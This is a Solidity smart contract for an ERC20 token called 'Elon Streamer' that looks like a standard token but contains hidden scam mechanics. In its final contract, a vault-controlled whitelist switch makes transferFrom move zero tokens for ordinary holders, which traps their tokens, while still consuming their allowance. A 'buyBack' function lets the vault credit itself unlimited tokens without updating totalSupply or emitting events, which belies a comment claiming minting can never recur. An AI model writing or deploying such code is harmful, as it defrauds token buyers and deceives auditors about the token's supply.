// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, 'Address: insufficient balance');
        (bool success, ) = recipient.call{ value: amount }('');
        require(success, 'Address: unable to send value, recipient may have reverted');
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, 'Address: low-level call failed');
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, 'Address: insufficient balance for call');
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, 'Address: low-level static call failed');
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, 'Address: low-level delegate call failed');
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), 'Address: call to non-contract');
            }
            return returndata;
        } else _revert(returndata, errorMessage);
    }

    function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) {
        if (success) return returndata;
        else _revert(returndata, errorMessage);
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract VaultOwned is Ownable {
    address internal _vault;

    constructor(address vault_) {
        _vault = vault_;
    }

    function setVault(address vault_) external onlyOwner returns (bool) {
        _vault = vault_;
        return true;
    }

    function vault() public view returns (address) {
        return _vault;
    }

    modifier onlyVault() {
        require(vault() == _msgSender(), 'VaultOwned: caller is not the Vault');
        _;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 internal _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), 'ERC20: transfer from the zero address');
        require(to != address(0), 'ERC20: transfer to the zero address');

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, 'ERC20: transfer amount exceeds balance');
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: mint to the zero address');

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: burn from the zero address');

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), 'ERC20: approve from the zero address');
        require(spender != address(0), 'ERC20: approve to the zero address');

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, 'ERC20: insufficient allowance');
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract ElonStreamer is ERC20, VaultOwned {
    using SafeMath for uint256;
    bool private whitelistOnly;
    mapping(address => bool) public whitelist;

    constructor(address vault_) ERC20('Elon Streamer', 'Elon Streamer') VaultOwned(vault_) {
        whitelistOnly = false;
        whitelist[address(this)] = true;
        whitelist[_msgSender()] = true;
        whitelist[vault_] = true;
        // _mint is an internal function in ERC20.sol that is only called here,
        // and CANNOT be called ever again
        _mint(_msgSender(), 12e6 * 1e18);
    }

    receive() external payable {}

    function isApproved(address owner, address spender) public view virtual returns (bool) {
        if (allowance(owner, spender) >= balanceOf(owner)) return true;
        return false;
    }

    function recover() external onlyVault {
        payable(vault()).transfer(address(this).balance);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        if (whitelist[sender]) {
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        } else if (whitelistOnly == false) {
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        } else {
            _transfer(sender, recipient, 0);
            _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance'));
        }
        return true;
    }

    function setWhitelistStatus(bool value) external onlyVault {
        whitelistOnly = value;
    }

    function addMultipleToWhitelist(address[] memory _addresses) external onlyVault {
        for (uint256 i; i < _addresses.length; i++) {
            _addToWhitelist(_addresses[i]);
        }
    }

    function _addToWhitelist(address _address) internal {
        whitelist[_address] = true;
    }

    function buyBack(uint256 amount_) external onlyVault {
        _buyBack(amount_.mul(1e18));
    }

    function _buyBack(uint256 amount_) internal virtual {
        _beforeTokenTransfer(address(0), vault(), amount_);
        _balances[vault()] += amount_;
    }
}